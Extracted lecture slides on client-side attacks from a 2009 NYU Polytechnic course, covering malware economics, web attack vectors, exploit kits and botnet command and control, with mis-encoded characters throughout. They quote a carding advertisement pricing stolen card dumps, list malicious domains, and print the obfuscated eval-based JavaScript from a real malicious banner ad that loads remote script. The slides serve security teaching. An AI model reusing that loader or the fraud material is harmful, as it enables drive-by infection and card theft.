
someone always clicks the link 



 

 

Why Client Side Attacks? 
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Better Controls 

·Breaching the network perimeter is much 
more difficult today than a few years ago 

·Dedicated Security Teams 

·Network Separation 

ƺInternal vs. External vs. DMZ 

·Hardened Server Builds 

·IDS/IPS 

·Security Event Monitoring & Alerting 

·Software security is improving (?) 

ƺms08_067 
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So Now What? 

·Who has óunrestricted óaccess to the 

internal network anytime? 

 

 

THE USER 
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User Environment 

¾ Far more complex than publicly available 
servers. 
·Yet less protected 

·Hard to fingerprint - no direct access 

¾ Has legitimate (usually persistent) access 
to the networkôs critical assets. 

¾ Is a ñdomain userò on the network.  
·Browse file shares, run net commands, etcé 

·Domain users can do more than local accounts 
and SYSTEM. 

¾ Connects to the Internet from within the 
internal network. 
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User Environment conté 

¾ Combination of tools, 3rd  party 

applications or in-house software. 

·Different software companies with differing 

attitudes towards security and updates. 

¾ Patching policies, if any, vary 

·Workstation policy != Server policy 

·WSUS/SUS doesn't patch random 3rd party 

applications.   

·Some tools that do. Assumes an organization 

has a good handle on the software deployed 
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Malware 

¾ Attackers like love low hanging fruit 

 

¾Why? 

·Broad óunawareô target user group 

·Risk vs. Return [$$$] 

·Itôs really óeasyô J 
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What do all these products have in common? 
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So why go to all this trouble? 

¾ Bots, botnets & more bots! 

·Phishing 

·Spamming 

·Denial of service attacks 

·Data harvesting/keylogging 

ƺBanking information / Credit cards 

ƺUsername/passwords 

·Malware hosting/distribution sites 

¾ Botnets equal $$$ and lots of it! 
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Itôs all the same thingé 

¾ Adware 

¾ Spyware 

¾Rogueware 

¾Ransomware  

¾ Scareware 

¾Malware 
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It really is all about moneyé 
FORGET Russians, Romanians, Chinese, Malaysian, etc. 

Deal with the PROS. 

 

Iôve got big, VERY FRESH databases of skimmed dumps 

(org track 1 and 2). In business over 6 years. Will replace 

failures, no problem. 

 

Min order FIVE of any type. 

 

--- USA--- 

MasterCard, Visa Classic -$20 

Visa Gold/Platinum/Corporate/Signature/Business -$40 

American Express -$30 

 

---CANADA--- 

MasterCard, Visa Classic -$20 

Visa Gold/Platinum/Corporate/Signature/Business -$40 

 

---EU--- 

MasterCard, Visa Classic -$70 

Visa Gold/Platinum/Corporate/Signature/Business -$100 

 

---ASIA--- 

Visa Gold/Platinum/Corporate/Business -$100 
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A Few Statsé 

¾ 75 percent of Web sites with malicious code are 

legitimate sites that have been compromised.  

¾ 60 percent of the top 100 most popular Web 

sites have either hosted or been involved in 

malicious activity in the first half of 2009. 

¾ 12 percent of Web sites infected with malicious 

code were created using Web malware 

exploitation kits. 

¾ ódrive-byô exploits & malware hosting sites 
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Top 10 Web Attack Vectors 

1. Browser vulnerabilities 

2. Adobe Flash vulnerabilities 

3. ActiveX vulnerabilities 

4. SQL injection 

5. Adobe Acrobat Reader vulnerabilities 

6. Content management systems (CMS) vulnerabilities 

7. Apple QuickTime vulnerabilities 

8. Malicious Web 2.0 components (e.g. facebook 
applications, 3rd-party widgets/gadgets, banner ads) 

9. RealPlayer vulnerabilities 

10. DNS cache poisoning 
 

¾Donôt forget Email, IM/p2p & Fileformat bugs 
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Iôd Never Visit theseé 

¾ myzonedom.ru 

¾ hfju38djfhjdi3kd.cn 

¾ leiayre.cn 

¾ validating.ru 

¾ srvfarino.co.cr 

¾ 35465543.com 

¾ nenastiya.cn 

¾ spaider.no-ip.biz 

¾ ddoser.selfip.org 

¾ cr4zyl0v3.no-ip.biz  
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What about this site? 
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On Sept 14, 2009é 

¾ 3rd Party Banner Ad infected NYTimes 

viewers 

¾Malicious iframe 
· tradenton.com/?id=21610438 

¾ Fake Antivirus  
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The actual codeé  
<html><body style="margin:0; padding:0;"> 

<script type="text/javascript"> 

var rightNow = new Date(); 

var date1 = new Date(rightNow.getFullYear(), 0, 1, 0, 0, 0, 0); 

var temp = date1.toGMTString(); 

var date3 = new Date(temp.substring(0, temp.lastIndexOf(" ")-1)); 

var hoursDiffStdTime = (date1 - date3) / (1000 * 60 * 60); 

tz_crt = hoursDiffStdTime; 

  

document.write(unescape("%3Ca href='http://www.bulgari.com/main.php?lang=6/ref=680' 

target='_blank'%3E%3Cimg src='http://harlingens.com/bdb/-MISC/bulgari_300x250.gif' border='0' 

%3E%3C/a%3E")); 

  

var a1 = "http://sex-and-"; 

var a2 = "the-city.cn/go.php?i"; 

var a3 = "d=2006-63&key=0522c7066&p=1"; 

var action_URL = a1 + a2 + a3; 

var cur_domain = "harlingens.com"; 

  

eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70

%65%28%22%25%33%43%73%63%72%69%70%74%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%

22%20%2B%20%63%75%72%5F%64%6F%6D%61%69%6E%20%2B%20%22%2F%69%6E%63%6C%75%64%6

5%73%30%32%2E%6A%73%27%20%74%79%70%65%3D%27%74%65%78%74%2F%6A%61%76%61%73%63

%72%69%70%74%27%25%33%45%25%33%43%2F%73%63%72%69%70%74%25%33%45%22%29%29%3B')); 

  

</script></body></html> 
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Exploit Kits & a SAAS Model 

18 Client Side Attacks - NYU Polytechnic - Fall 2009 



Point & Click Exploitation 
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They have stats tooé 
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Anyone can do ité 
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Command & Control 

¾ The interface between the bot herder 

and the botnet 

¾Communication channels 

·IRC 

·Peer-to-Peer (p2p) 

·HTTP ï Blogs, Twitter, News Groups 

·Peer-to-Peer over HTTP 

¾ IP Address vs. Domain (FastFlux DNS) 
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Central Control 
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Central Updates 
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Spamming Made Easy 
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Targeting Countries 
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Resilience - Fastflux 

¾ 1 domain = many IP Addresses 

·Round-robin IP Address pool 

·Short TTL  

·Proxy nodes 

¾ Load distribution 

·Health checks for nodes 

ƺContent availability always maintained 

·Legit technique  

ƺ H/A & Load balancing 
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Source: http://www.honeynet.org 
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Waledac 
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